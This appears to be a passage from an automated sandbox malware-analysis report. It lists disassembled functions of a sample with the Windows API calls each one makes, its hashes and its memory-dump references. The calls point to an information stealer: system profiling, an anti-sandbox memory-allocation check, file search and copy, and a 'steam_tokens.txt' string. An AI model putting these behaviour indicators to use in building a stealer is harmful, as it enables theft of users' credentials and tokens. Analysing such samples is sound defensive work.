Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction ID: c00870ae4f46cd9ec0fbaadc8d13ab59566e93f84a6b66ec8604c729da6f8a20
Opcode Fuzzy Hash: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction Fuzzy Hash: BE11C830A08248BBDB10EFA0DC15BDE7B795F05314F044199F655A72C1DB346B45C7DA

Function 00417A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction ID: 80df14e24d55d9e77394b8c0389cbc6422d62e125eda11eaf6ba37d1415b345b
Opcode Fuzzy Hash: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction Fuzzy Hash: D60181B1E08359ABC700CF98DD45BAFBBB8FB04751F10021BF505E2280E7B85A408BA2

Function 00419600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
CloseHandle.KERNEL32(00000000), ref: 0041963F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction ID: 8add19ce2c94a4db983c162c5ea883653429c1f160fd421327fd5bffa921fc45
Opcode Fuzzy Hash: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction Fuzzy Hash: 95F03A7490120CEFDB14DBA4DD4AFEA7778BB08300F004599FA1997280E6B06E84CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction ID: f86d798d442288df0e099431c712f1cdbed5da6d4770a056b1c254158006f616
Opcode Fuzzy Hash: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction Fuzzy Hash: DCE0E670D8A30CFBE7105BA19D0AB4D77689B04B15F101156F709BA5D0D6B92640565D

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction ID: 960187402ee01aff1aca01ef16381d87fa4c626a1601440f33a421b94010635f
Opcode Fuzzy Hash: 7b362698908ff61aa31d4ac6417e82130d01c510d282f3d3cff84c4ea47e76dd
Instruction Fuzzy Hash: D6213374A04208EFDB04CF88D544BADBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction ID: fd8884a5b4d1e95754380b5432cffff504e2d4d7245242e6cdc6148b35b0e1b4
Opcode Fuzzy Hash: f67c1ee81b792ebf250256528aa3b6b9dcb1e54953850a22de8d950c6cb86ce9
Instruction Fuzzy Hash: 816127B4900209DFCB14CF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414E00 Relevance: 3.1, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414E3A
lstrcatA.KERNEL32(?,02F76088), ref: 00414E58

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,02F6EBA8,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C57

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 96ca4b8fee943fcefae6de1e709fc3017b10229750f5af120523a159a3f8e737
Instruction ID: e9161ec81bcd1d29be655bd6d91fa6844fd782dbdf96c1af6834d1d6ae200bb8
Opcode Fuzzy Hash: 96ca4b8fee943fcefae6de1e709fc3017b10229750f5af120523a159a3f8e737
Instruction Fuzzy Hash: F041B6B7E0410467C754F764FC52EEE333E9BC8304F40855EB54696191ED78AAC88B95

Function 00415350 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02F6B968,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(00000000,00000000,00420ACE,?,?,?,?,?,?,0041635B,?), ref: 0041537A

Strings

steam_tokens.txt, xrefs: 0041538F

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 05c3bf2e8d49d1371e3a8ef3ba893d9939886e2072245d48c510c30610a2984f
Instruction ID: 583e1202a90f05d24a8fafb6f0fe3048dc9e4c24137b9a3722a1f5dcf54c1db9
Opcode Fuzzy Hash: 05c3bf2e8d49d1371e3a8ef3ba893d9939886e2072245d48c510c30610a2984f
Instruction Fuzzy Hash: 5AF06D31E1110876CB04FBB2EC679ED733D9E50358F80426EB416220D2EF386698C7AE

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction ID: 7de8415141d8ede1392e5156f4839a36e98c975bb62c62673ce2cce929d499c4
Opcode Fuzzy Hash: 0911bb23926965f42d7cc1f5d35b7be77a6f2882a7c2442a84db88c73d1ba697
Instruction Fuzzy Hash: 9ED05E74D0530DABCB04DFE09D496DDBB79BB0C315F041656DD0572240EA305441CA66

Function 0040B4C0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040B992
lstrlenA.KERNEL32(00000000), ref: 0040B9A6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: e02e9c82d219cfe3a0d2f4dca40aab7f218033f3be4bbddb0880e8fccce26e7c
Instruction ID: 2255bc3e1aae02863dcd83073914f46634cd1c5da6bc7bd4c07d15e0a17c61c2
Opcode Fuzzy Hash: e02e9c82d219cfe3a0d2f4dca40aab7f218033f3be4bbddb0880e8fccce26e7c
Instruction Fuzzy Hash: BAE14672A111189BCB04FBA1DD66EEE7339AF14314F40459EF10672095EF387B98CB6A

Function 0040AEC0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B13A
lstrlenA.KERNEL32(00000000), ref: 0040B14E

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 69d253821d97da2bd3b4e18577819e0005f4e7ca02a0288c6efa5dc2b731e2e5
Instruction ID: b118e420acb74f1bad9678fc0f4fca3608bd39bb9752133bd9c886ddfd0b535b
Opcode Fuzzy Hash: 69d253821d97da2bd3b4e18577819e0005f4e7ca02a0288c6efa5dc2b731e2e5
Instruction Fuzzy Hash: A8916672A151089BCB04FBA1DC66DEE7339AF14314F40456FF10663195EF387A98CB6A

Function 0040B200 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

lstrlenA.KERNEL32(00000000), ref: 0040B3FE
lstrlenA.KERNEL32(00000000), ref: 0040B412

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

